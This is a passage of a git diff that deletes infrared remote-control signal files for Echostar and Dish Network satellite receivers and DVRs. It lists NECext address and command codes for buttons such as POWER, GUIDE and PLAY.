-protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir deleted file mode 100644 index d3f932623..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PAGE_-- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: DVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir deleted file mode 100644 index f2f0da2c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir deleted file mode 100644 index b1639f763..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CUR_/_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CANCEL_-_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE_* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir deleted file mode 100644 index dcc705c67..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: RECORDED_EVENTS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir deleted file mode 100644 index 9c2ab0fe8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CUR_/_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CANCEL_-_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: GUIDE_* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: SD/HD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: DISCRETE_POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir deleted file mode 100644 index df18d7254..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 04 00 00 00 -# -name: 2_-_ABC -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 05 00 00 00 -# -name: 3_-_DEF -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 06 00 00 00 -# -name: 4_-_GHI -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 08 00 00 00 -# -name: 5_-_JKL -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 09 00 00 00 -# -name: 6_-_MNO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0B 00 00 00 -# -name: 7_-_PQRS -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0C 00 00 00 -# -name: 8_-_TUV -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0D 00 00 00 -# -name: 9_-_WXYZ -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT(BROWSE) -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT_(THEME) -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1F 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 21 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 25 00 00 00 -# -name: #_-_SEARCH -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir deleted file mode 100644 index de04f6ee3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_-- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: DVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: RECORDED_EVENTS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: PIP_LOCATION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir deleted file mode 100644 index 453638489..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 03 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 07 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 0F 00 00 00 -# -name: BACK_<< -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 31 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 34 00 00 00 -# -name: ARROW_REVERSE -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 36 00 00 00 -# -name: ARROW_FORWARD -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir deleted file mode 100644 index 59b2e0138..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir deleted file mode 100644 index 43d423969..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SLCT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CNCL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: SD/HD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: >_(BROWSE) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: <_(THEME) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: SYS_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir deleted file mode 100644 index aa8ec86b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCROLL_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_-- -type: parsed -protocol: NECext -address: 01 00 00 00 